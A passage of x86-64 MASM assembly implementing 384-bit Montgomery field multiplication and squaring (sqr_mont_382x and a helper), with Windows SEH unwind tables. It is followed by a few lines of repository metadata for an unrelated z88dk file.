adc rdx,0
mov r15,rdx
mul QWORD PTR[40+rsi]
add r14,r15
adc rdx,0
add r14,rax
mov rax,r9
adc rdx,0
mov r15,rdx
mul QWORD PTR[rcx]
add r8,rax
mov rax,r9
adc r8,rdx
mul QWORD PTR[8+rcx]
add r10,rax
mov rax,r9
adc rdx,0
add r10,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rcx]
add r11,rax
mov rax,r9
adc rdx,0
add r11,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[24+rcx]
add r12,r8
adc rdx,0
add r12,rax
mov rax,r9
adc rdx,0
mov r8,rdx
mul QWORD PTR[32+rcx]
add r13,rax
mov rax,r9
adc rdx,0
add r13,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[40+rcx]
add r14,rax
mov rax,QWORD PTR[16+rbx]
adc rdx,0
add r14,r8
adc r15,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add r10,rax
mov rax,rbp
adc rdx,0
mov r8,rdx
mul QWORD PTR[8+rsi]
add r11,rax
mov rax,rbp
adc rdx,0
add r11,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[16+rsi]
add r12,rax
mov rax,rbp
adc rdx,0
add r12,r8
adc rdx,0
mov r8,rdx
mov r9,r10
imul r10,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r13,rax
mov rax,rbp
adc rdx,0
add r13,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[32+rsi]
add r14,rax
mov rax,rbp
adc rdx,0
add r14,r8
adc rdx,0
mov r8,rdx
mul QWORD PTR[40+rsi]
add r15,r8
adc rdx,0
add r15,rax
mov rax,r10
adc rdx,0
mov r8,rdx
mul QWORD PTR[rcx]
add r9,rax
mov rax,r10
adc r9,rdx
mul QWORD PTR[8+rcx]
add r11,rax
mov rax,r10
adc rdx,0
add r11,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[16+rcx]
add r12,rax
mov rax,r10
adc rdx,0
add r12,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[24+rcx]
add r13,r9
adc rdx,0
add r13,rax
mov rax,r10
adc rdx,0
mov r9,rdx
mul QWORD PTR[32+rcx]
add r14,rax
mov rax,r10
adc rdx,0
add r14,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[40+rcx]
add r15,rax
mov rax,QWORD PTR[24+rbx]
adc rdx,0
add r15,r9
adc r8,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add r11,rax
mov rax,rbp
adc rdx,0
mov r9,rdx
mul QWORD PTR[8+rsi]
add r12,rax
mov rax,rbp
adc rdx,0
add r12,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[16+rsi]
add r13,rax
mov rax,rbp
adc rdx,0
add r13,r9
adc rdx,0
mov r9,rdx
mov r10,r11
imul r11,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r14,rax
mov rax,rbp
adc rdx,0
add r14,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[32+rsi]
add r15,rax
mov rax,rbp
adc rdx,0
add r15,r9
adc rdx,0
mov r9,rdx
mul QWORD PTR[40+rsi]
add r8,r9
adc rdx,0
add r8,rax
mov rax,r11
adc rdx,0
mov r9,rdx
mul QWORD PTR[rcx]
add r10,rax
mov rax,r11
adc r10,rdx
mul QWORD PTR[8+rcx]
add r12,rax
mov rax,r11
adc rdx,0
add r12,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[16+rcx]
add r13,rax
mov rax,r11
adc rdx,0
add r13,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[24+rcx]
add r14,r10
adc rdx,0
add r14,rax
mov rax,r11
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rcx]
add r15,rax
mov rax,r11
adc rdx,0
add r15,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[40+rcx]
add r8,rax
mov rax,QWORD PTR[32+rbx]
adc rdx,0
add r8,r10
adc r9,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add r12,rax
mov rax,rbp
adc rdx,0
mov r10,rdx
mul QWORD PTR[8+rsi]
add r13,rax
mov rax,rbp
adc rdx,0
add r13,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[16+rsi]
add r14,rax
mov rax,rbp
adc rdx,0
add r14,r10
adc rdx,0
mov r10,rdx
mov r11,r12
imul r12,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r15,rax
mov rax,rbp
adc rdx,0
add r15,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[32+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
add r8,r10
adc rdx,0
mov r10,rdx
mul QWORD PTR[40+rsi]
add r9,r10
adc rdx,0
add r9,rax
mov rax,r12
adc rdx,0
mov r10,rdx
mul QWORD PTR[rcx]
add r11,rax
mov rax,r12
adc r11,rdx
mul QWORD PTR[8+rcx]
add r13,rax
mov rax,r12
adc rdx,0
add r13,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[16+rcx]
add r14,rax
mov rax,r12
adc rdx,0
add r14,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[24+rcx]
add r15,r11
adc rdx,0
add r15,rax
mov rax,r12
adc rdx,0
mov r11,rdx
mul QWORD PTR[32+rcx]
add r8,rax
mov rax,r12
adc rdx,0
add r8,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rcx]
add r9,rax
mov rax,QWORD PTR[40+rbx]
adc rdx,0
add r9,r11
adc r10,rdx
mov rbp,rax
mul QWORD PTR[rsi]
add r13,rax
mov rax,rbp
adc rdx,0
mov r11,rdx
mul QWORD PTR[8+rsi]
add r14,rax
mov rax,rbp
adc rdx,0
add r14,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[16+rsi]
add r15,rax
mov rax,rbp
adc rdx,0
add r15,r11
adc rdx,0
mov r11,rdx
mov r12,r13
imul r13,QWORD PTR[8+rsp]
mul QWORD PTR[24+rsi]
add r8,rax
mov rax,rbp
adc rdx,0
add r8,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[32+rsi]
add r9,rax
mov rax,rbp
adc rdx,0
add r9,r11
adc rdx,0
mov r11,rdx
mul QWORD PTR[40+rsi]
add r10,r11
adc rdx,0
add r10,rax
mov rax,r13
adc rdx,0
mov r11,rdx
mul QWORD PTR[rcx]
add r12,rax
mov rax,r13
adc r12,rdx
mul QWORD PTR[8+rcx]
add r14,rax
mov rax,r13
adc rdx,0
add r14,r12
adc rdx,0
mov r12,rdx
mul QWORD PTR[16+rcx]
add r15,rax
mov rax,r13
adc rdx,0
add r15,r12
adc rdx,0
mov r12,rdx
mul QWORD PTR[24+rcx]
add r8,r12
adc rdx,0
add r8,rax
mov rax,r13
adc rdx,0
mov r12,rdx
mul QWORD PTR[32+rcx]
add r9,rax
mov rax,r13
adc rdx,0
add r9,r12
adc rdx,0
mov r12,rdx
mul QWORD PTR[40+rcx]
add r10,rax
mov rax,r14
adc rdx,0
add r10,r12
adc r11,rdx
DB 0F3h,0C3h ;repret
__mulq_mont_383_nonred ENDP
PUBLIC sqr_mont_382x
ALIGN 32
sqr_mont_382x PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_sqr_mont_382x::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
mov rcx,r9
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,136
$L$SEH_body_sqr_mont_382x::
mov QWORD PTR[rsp],rcx
mov rcx,rdx
mov QWORD PTR[16+rsp],rsi
mov QWORD PTR[24+rsp],rdi
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
mov r14,r8
add r8,QWORD PTR[48+rsi]
mov r15,r9
adc r9,QWORD PTR[56+rsi]
mov rax,r10
adc r10,QWORD PTR[64+rsi]
mov rdx,r11
adc r11,QWORD PTR[72+rsi]
mov rbx,r12
adc r12,QWORD PTR[80+rsi]
mov rbp,r13
adc r13,QWORD PTR[88+rsi]
sub r14,QWORD PTR[48+rsi]
sbb r15,QWORD PTR[56+rsi]
sbb rax,QWORD PTR[64+rsi]
sbb rdx,QWORD PTR[72+rsi]
sbb rbx,QWORD PTR[80+rsi]
sbb rbp,QWORD PTR[88+rsi]
sbb rdi,rdi
mov QWORD PTR[((32+0))+rsp],r8
mov QWORD PTR[((32+8))+rsp],r9
mov QWORD PTR[((32+16))+rsp],r10
mov QWORD PTR[((32+24))+rsp],r11
mov QWORD PTR[((32+32))+rsp],r12
mov QWORD PTR[((32+40))+rsp],r13
mov QWORD PTR[((32+48))+rsp],r14
mov QWORD PTR[((32+56))+rsp],r15
mov QWORD PTR[((32+64))+rsp],rax
mov QWORD PTR[((32+72))+rsp],rdx
mov QWORD PTR[((32+80))+rsp],rbx
mov QWORD PTR[((32+88))+rsp],rbp
mov QWORD PTR[((32+96))+rsp],rdi
lea rbx,QWORD PTR[48+rsi]
mov rax,QWORD PTR[48+rsi]
mov r14,QWORD PTR[rsi]
mov r15,QWORD PTR[8+rsi]
mov r12,QWORD PTR[16+rsi]
mov r13,QWORD PTR[24+rsi]
mov rdi,QWORD PTR[24+rsp]
call __mulq_mont_383_nonred
add r14,r14
adc r15,r15
adc r8,r8
adc r9,r9
adc r10,r10
adc r11,r11
mov QWORD PTR[48+rdi],r14
mov QWORD PTR[56+rdi],r15
mov QWORD PTR[64+rdi],r8
mov QWORD PTR[72+rdi],r9
mov QWORD PTR[80+rdi],r10
mov QWORD PTR[88+rdi],r11
lea rsi,QWORD PTR[32+rsp]
lea rbx,QWORD PTR[((32+48))+rsp]
mov rax,QWORD PTR[((32+48))+rsp]
mov r14,QWORD PTR[((32+0))+rsp]
mov r15,QWORD PTR[((32+8))+rsp]
mov r12,QWORD PTR[((32+16))+rsp]
mov r13,QWORD PTR[((32+24))+rsp]
call __mulq_mont_383_nonred
mov rsi,QWORD PTR[((32+96))+rsp]
mov r12,QWORD PTR[((32+0))+rsp]
mov r13,QWORD PTR[((32+8))+rsp]
and r12,rsi
mov rax,QWORD PTR[((32+16))+rsp]
and r13,rsi
mov rbx,QWORD PTR[((32+24))+rsp]
and rax,rsi
mov rbp,QWORD PTR[((32+32))+rsp]
and rbx,rsi
and rbp,rsi
and rsi,QWORD PTR[((32+40))+rsp]
sub r14,r12
mov r12,QWORD PTR[rcx]
sbb r15,r13
mov r13,QWORD PTR[8+rcx]
sbb r8,rax
mov rax,QWORD PTR[16+rcx]
sbb r9,rbx
mov rbx,QWORD PTR[24+rcx]
sbb r10,rbp
mov rbp,QWORD PTR[32+rcx]
sbb r11,rsi
sbb rsi,rsi
and r12,rsi
and r13,rsi
and rax,rsi
and rbx,rsi
and rbp,rsi
and rsi,QWORD PTR[40+rcx]
add r14,r12
adc r15,r13
adc r8,rax
adc r9,rbx
adc r10,rbp
adc r11,rsi
mov QWORD PTR[rdi],r14
mov QWORD PTR[8+rdi],r15
mov QWORD PTR[16+rdi],r8
mov QWORD PTR[24+rdi],r9
mov QWORD PTR[32+rdi],r10
mov QWORD PTR[40+rdi],r11
lea r8,QWORD PTR[136+rsp]
mov r15,QWORD PTR[r8]
mov r14,QWORD PTR[8+r8]
mov r13,QWORD PTR[16+r8]
mov r12,QWORD PTR[24+r8]
mov rbx,QWORD PTR[32+r8]
mov rbp,QWORD PTR[40+r8]
lea rsp,QWORD PTR[48+r8]
$L$SEH_epilogue_sqr_mont_382x::
mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue
mov rsi,QWORD PTR[16+rsp]
DB 0F3h,0C3h ;repret
$L$SEH_end_sqr_mont_382x::
sqr_mont_382x ENDP
.text$ ENDS
.pdata SEGMENT READONLY ALIGN(4)
ALIGN 4
DD imagerel $L$SEH_begin_mul_mont_384x
DD imagerel $L$SEH_body_mul_mont_384x
DD imagerel $L$SEH_info_mul_mont_384x_prologue
DD imagerel $L$SEH_body_mul_mont_384x
DD imagerel $L$SEH_epilogue_mul_mont_384x
DD imagerel $L$SEH_info_mul_mont_384x_body
DD imagerel $L$SEH_epilogue_mul_mont_384x
DD imagerel $L$SEH_end_mul_mont_384x
DD imagerel $L$SEH_info_mul_mont_384x_epilogue
DD imagerel $L$SEH_begin_sqr_mont_384x
DD imagerel $L$SEH_body_sqr_mont_384x
DD imagerel $L$SEH_info_sqr_mont_384x_prologue
DD imagerel $L$SEH_body_sqr_mont_384x
DD imagerel $L$SEH_epilogue_sqr_mont_384x
DD imagerel $L$SEH_info_sqr_mont_384x_body
DD imagerel $L$SEH_epilogue_sqr_mont_384x
DD imagerel $L$SEH_end_sqr_mont_384x
DD imagerel $L$SEH_info_sqr_mont_384x_epilogue
DD imagerel $L$SEH_begin_mul_382x
DD imagerel $L$SEH_body_mul_382x
DD imagerel $L$SEH_info_mul_382x_prologue
DD imagerel $L$SEH_body_mul_382x
DD imagerel $L$SEH_epilogue_mul_382x
DD imagerel $L$SEH_info_mul_382x_body
DD imagerel $L$SEH_epilogue_mul_382x
DD imagerel $L$SEH_end_mul_382x
DD imagerel $L$SEH_info_mul_382x_epilogue
DD imagerel $L$SEH_begin_sqr_382x
DD imagerel $L$SEH_body_sqr_382x
DD imagerel $L$SEH_info_sqr_382x_prologue
DD imagerel $L$SEH_body_sqr_382x
DD imagerel $L$SEH_epilogue_sqr_382x
DD imagerel $L$SEH_info_sqr_382x_body
DD imagerel $L$SEH_epilogue_sqr_382x
DD imagerel $L$SEH_end_sqr_382x
DD imagerel $L$SEH_info_sqr_382x_epilogue
DD imagerel $L$SEH_begin_mul_384
DD imagerel $L$SEH_body_mul_384
DD imagerel $L$SEH_info_mul_384_prologue
DD imagerel $L$SEH_body_mul_384
DD imagerel $L$SEH_epilogue_mul_384
DD imagerel $L$SEH_info_mul_384_body
DD imagerel $L$SEH_epilogue_mul_384
DD imagerel $L$SEH_end_mul_384
DD imagerel $L$SEH_info_mul_384_epilogue
DD imagerel $L$SEH_begin_sqr_384
DD imagerel $L$SEH_body_sqr_384
DD imagerel $L$SEH_info_sqr_384_prologue
DD imagerel $L$SEH_body_sqr_384
DD imagerel $L$SEH_epilogue_sqr_384
DD imagerel $L$SEH_info_sqr_384_body
DD imagerel $L$SEH_epilogue_sqr_384
DD imagerel $L$SEH_end_sqr_384
DD imagerel $L$SEH_info_sqr_384_epilogue
DD imagerel $L$SEH_begin_sqr_mont_384
DD imagerel $L$SEH_body_sqr_mont_384
DD imagerel $L$SEH_info_sqr_mont_384_prologue
DD imagerel $L$SEH_body_sqr_mont_384
DD imagerel $L$SEH_epilogue_sqr_mont_384
DD imagerel $L$SEH_info_sqr_mont_384_body
DD imagerel $L$SEH_epilogue_sqr_mont_384
DD imagerel $L$SEH_end_sqr_mont_384
DD imagerel $L$SEH_info_sqr_mont_384_epilogue
DD imagerel $L$SEH_begin_redc_mont_384
DD imagerel $L$SEH_body_redc_mont_384
DD imagerel $L$SEH_info_redc_mont_384_prologue
DD imagerel $L$SEH_body_redc_mont_384
DD imagerel $L$SEH_epilogue_redc_mont_384
DD imagerel $L$SEH_info_redc_mont_384_body
DD imagerel $L$SEH_epilogue_redc_mont_384
DD imagerel $L$SEH_end_redc_mont_384
DD imagerel $L$SEH_info_redc_mont_384_epilogue
DD imagerel $L$SEH_begin_from_mont_384
DD imagerel $L$SEH_body_from_mont_384
DD imagerel $L$SEH_info_from_mont_384_prologue
DD imagerel $L$SEH_body_from_mont_384
DD imagerel $L$SEH_epilogue_from_mont_384
DD imagerel $L$SEH_info_from_mont_384_body
DD imagerel $L$SEH_epilogue_from_mont_384
DD imagerel $L$SEH_end_from_mont_384
DD imagerel $L$SEH_info_from_mont_384_epilogue
DD imagerel $L$SEH_begin_sgn0_pty_mont_384
DD imagerel $L$SEH_body_sgn0_pty_mont_384
DD imagerel $L$SEH_info_sgn0_pty_mont_384_prologue
DD imagerel $L$SEH_body_sgn0_pty_mont_384
DD imagerel $L$SEH_epilogue_sgn0_pty_mont_384
DD imagerel $L$SEH_info_sgn0_pty_mont_384_body
DD imagerel $L$SEH_epilogue_sgn0_pty_mont_384
DD imagerel $L$SEH_end_sgn0_pty_mont_384
DD imagerel $L$SEH_info_sgn0_pty_mont_384_epilogue
DD imagerel $L$SEH_begin_sgn0_pty_mont_384x
DD imagerel $L$SEH_body_sgn0_pty_mont_384x
DD imagerel $L$SEH_info_sgn0_pty_mont_384x_prologue
DD imagerel $L$SEH_body_sgn0_pty_mont_384x
DD imagerel $L$SEH_epilogue_sgn0_pty_mont_384x
DD imagerel $L$SEH_info_sgn0_pty_mont_384x_body
DD imagerel $L$SEH_epilogue_sgn0_pty_mont_384x
DD imagerel $L$SEH_end_sgn0_pty_mont_384x
DD imagerel $L$SEH_info_sgn0_pty_mont_384x_epilogue
DD imagerel $L$SEH_begin_mul_mont_384
DD imagerel $L$SEH_body_mul_mont_384
DD imagerel $L$SEH_info_mul_mont_384_prologue
DD imagerel $L$SEH_body_mul_mont_384
DD imagerel $L$SEH_epilogue_mul_mont_384
DD imagerel $L$SEH_info_mul_mont_384_body
DD imagerel $L$SEH_epilogue_mul_mont_384
DD imagerel $L$SEH_end_mul_mont_384
DD imagerel $L$SEH_info_mul_mont_384_epilogue
DD imagerel $L$SEH_begin_sqr_n_mul_mont_384
DD imagerel $L$SEH_body_sqr_n_mul_mont_384
DD imagerel $L$SEH_info_sqr_n_mul_mont_384_prologue
DD imagerel $L$SEH_body_sqr_n_mul_mont_384
DD imagerel $L$SEH_epilogue_sqr_n_mul_mont_384
DD imagerel $L$SEH_info_sqr_n_mul_mont_384_body
DD imagerel $L$SEH_epilogue_sqr_n_mul_mont_384
DD imagerel $L$SEH_end_sqr_n_mul_mont_384
DD imagerel $L$SEH_info_sqr_n_mul_mont_384_epilogue
DD imagerel $L$SEH_begin_sqr_n_mul_mont_383
DD imagerel $L$SEH_body_sqr_n_mul_mont_383
DD imagerel $L$SEH_info_sqr_n_mul_mont_383_prologue
DD imagerel $L$SEH_body_sqr_n_mul_mont_383
DD imagerel $L$SEH_epilogue_sqr_n_mul_mont_383
DD imagerel $L$SEH_info_sqr_n_mul_mont_383_body
DD imagerel $L$SEH_epilogue_sqr_n_mul_mont_383
DD imagerel $L$SEH_end_sqr_n_mul_mont_383
DD imagerel $L$SEH_info_sqr_n_mul_mont_383_epilogue
DD imagerel $L$SEH_begin_sqr_mont_382x
DD imagerel $L$SEH_body_sqr_mont_382x
DD imagerel $L$SEH_info_sqr_mont_382x_prologue
DD imagerel $L$SEH_body_sqr_mont_382x
DD imagerel $L$SEH_epilogue_sqr_mont_382x
DD imagerel $L$SEH_info_sqr_mont_382x_body
DD imagerel $L$SEH_epilogue_sqr_mont_382x
DD imagerel $L$SEH_end_sqr_mont_382x
DD imagerel $L$SEH_info_sqr_mont_382x_epilogue
.pdata ENDS
.xdata SEGMENT READONLY ALIGN(8)
ALIGN 8
$L$SEH_info_mul_mont_384x_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_mul_mont_384x_body::
DB 1,0,18,0
DB 000h,0f4h,029h,000h
DB 000h,0e4h,02ah,000h
DB 000h,0d4h,02bh,000h
DB 000h,0c4h,02ch,000h
DB 000h,034h,02dh,000h
DB 000h,054h,02eh,000h
DB 000h,074h,030h,000h
DB 000h,064h,031h,000h
DB 000h,001h,02fh,000h
$L$SEH_info_mul_mont_384x_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sqr_mont_384x_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sqr_mont_384x_body::
DB 1,0,18,0
DB 000h,0f4h,011h,000h
DB 000h,0e4h,012h,000h
DB 000h,0d4h,013h,000h
DB 000h,0c4h,014h,000h
DB 000h,034h,015h,000h
DB 000h,054h,016h,000h
DB 000h,074h,018h,000h
DB 000h,064h,019h,000h
DB 000h,001h,017h,000h
$L$SEH_info_sqr_mont_384x_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_mul_382x_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_mul_382x_body::
DB 1,0,18,0
DB 000h,0f4h,011h,000h
DB 000h,0e4h,012h,000h
DB 000h,0d4h,013h,000h
DB 000h,0c4h,014h,000h
DB 000h,034h,015h,000h
DB 000h,054h,016h,000h
DB 000h,074h,018h,000h
DB 000h,064h,019h,000h
DB 000h,001h,017h,000h
$L$SEH_info_mul_382x_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sqr_382x_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sqr_382x_body::
DB 1,0,17,0
DB 000h,0f4h,001h,000h
DB 000h,0e4h,002h,000h
DB 000h,0d4h,003h,000h
DB 000h,0c4h,004h,000h
DB 000h,034h,005h,000h
DB 000h,054h,006h,000h
DB 000h,074h,008h,000h
DB 000h,064h,009h,000h
DB 000h,062h
DB 000h,000h
$L$SEH_info_sqr_382x_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_mul_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_mul_384_body::
DB 1,0,11,0
DB 000h,0c4h,000h,000h
DB 000h,034h,001h,000h
DB 000h,054h,002h,000h
DB 000h,074h,004h,000h
DB 000h,064h,005h,000h
DB 000h,022h
DB 000h,000h,000h,000h,000h,000h
$L$SEH_info_mul_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sqr_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sqr_384_body::
DB 1,0,17,0
DB 000h,0f4h,001h,000h
DB 000h,0e4h,002h,000h
DB 000h,0d4h,003h,000h
DB 000h,0c4h,004h,000h
DB 000h,034h,005h,000h
DB 000h,054h,006h,000h
DB 000h,074h,008h,000h
DB 000h,064h,009h,000h
DB 000h,062h
DB 000h,000h
$L$SEH_info_sqr_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sqr_mont_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sqr_mont_384_body::
DB 1,0,18,0
DB 000h,0f4h,00fh,000h
DB 000h,0e4h,010h,000h
DB 000h,0d4h,011h,000h
DB 000h,0c4h,012h,000h
DB 000h,034h,013h,000h
DB 000h,054h,014h,000h
DB 000h,074h,016h,000h
DB 000h,064h,017h,000h
DB 000h,001h,015h,000h
$L$SEH_info_sqr_mont_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_redc_mont_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_redc_mont_384_body::
DB 1,0,17,0
DB 000h,0f4h,001h,000h
DB 000h,0e4h,002h,000h
DB 000h,0d4h,003h,000h
DB 000h,0c4h,004h,000h
DB 000h,034h,005h,000h
DB 000h,054h,006h,000h
DB 000h,074h,008h,000h
DB 000h,064h,009h,000h
DB 000h,062h
DB 000h,000h
$L$SEH_info_redc_mont_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_from_mont_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_from_mont_384_body::
DB 1,0,17,0
DB 000h,0f4h,001h,000h
DB 000h,0e4h,002h,000h
DB 000h,0d4h,003h,000h
DB 000h,0c4h,004h,000h
DB 000h,034h,005h,000h
DB 000h,054h,006h,000h
DB 000h,074h,008h,000h
DB 000h,064h,009h,000h
DB 000h,062h
DB 000h,000h
$L$SEH_info_from_mont_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sgn0_pty_mont_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sgn0_pty_mont_384_body::
DB 1,0,17,0
DB 000h,0f4h,001h,000h
DB 000h,0e4h,002h,000h
DB 000h,0d4h,003h,000h
DB 000h,0c4h,004h,000h
DB 000h,034h,005h,000h
DB 000h,054h,006h,000h
DB 000h,074h,008h,000h
DB 000h,064h,009h,000h
DB 000h,062h
DB 000h,000h
$L$SEH_info_sgn0_pty_mont_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sgn0_pty_mont_384x_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sgn0_pty_mont_384x_body::
DB 1,0,17,0
DB 000h,0f4h,001h,000h
DB 000h,0e4h,002h,000h
DB 000h,0d4h,003h,000h
DB 000h,0c4h,004h,000h
DB 000h,034h,005h,000h
DB 000h,054h,006h,000h
DB 000h,074h,008h,000h
DB 000h,064h,009h,000h
DB 000h,062h
DB 000h,000h
$L$SEH_info_sgn0_pty_mont_384x_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_mul_mont_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_mul_mont_384_body::
DB 1,0,17,0
DB 000h,0f4h,003h,000h
DB 000h,0e4h,004h,000h
DB 000h,0d4h,005h,000h
DB 000h,0c4h,006h,000h
DB 000h,034h,007h,000h
DB 000h,054h,008h,000h
DB 000h,074h,00ah,000h
DB 000h,064h,00bh,000h
DB 000h,082h
DB 000h,000h
$L$SEH_info_mul_mont_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sqr_n_mul_mont_384_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sqr_n_mul_mont_384_body::
DB 1,0,18,0
DB 000h,0f4h,011h,000h
DB 000h,0e4h,012h,000h
DB 000h,0d4h,013h,000h
DB 000h,0c4h,014h,000h
DB 000h,034h,015h,000h
DB 000h,054h,016h,000h
DB 000h,074h,018h,000h
DB 000h,064h,019h,000h
DB 000h,001h,017h,000h
$L$SEH_info_sqr_n_mul_mont_384_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sqr_n_mul_mont_383_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sqr_n_mul_mont_383_body::
DB 1,0,18,0
DB 000h,0f4h,011h,000h
DB 000h,0e4h,012h,000h
DB 000h,0d4h,013h,000h
DB 000h,0c4h,014h,000h
DB 000h,034h,015h,000h
DB 000h,054h,016h,000h
DB 000h,074h,018h,000h
DB 000h,064h,019h,000h
DB 000h,001h,017h,000h
$L$SEH_info_sqr_n_mul_mont_383_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
$L$SEH_info_sqr_mont_382x_prologue::
DB 1,0,5,00bh
DB 0,074h,1,0
DB 0,064h,2,0
DB 0,003h
DB 0,0
$L$SEH_info_sqr_mont_382x_body::
DB 1,0,18,0
DB 000h,0f4h,011h,000h
DB 000h,0e4h,012h,000h
DB 000h,0d4h,013h,000h
DB 000h,0c4h,014h,000h
DB 000h,034h,015h,000h
DB 000h,054h,016h,000h
DB 000h,074h,018h,000h
DB 000h,064h,019h,000h
DB 000h,001h,017h,000h
$L$SEH_info_sqr_mont_382x_epilogue::
DB 1,0,4,0
DB 000h,074h,001h,000h
DB 000h,064h,002h,000h
DB 000h,000h,000h,000h
.xdata ENDS
END
| 15.145489
| 52
| 0.712815
|
21a0f159929ba11dd3d65d62edd7a4b8531a4f16
| 2,911
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/integer/fast/l_fast_mulu_40_32x8.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/integer/fast/l_fast_mulu_40_32x8.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/integer/fast/l_fast_mulu_40_32x8.asm
|
jpoikela/z88dk
|
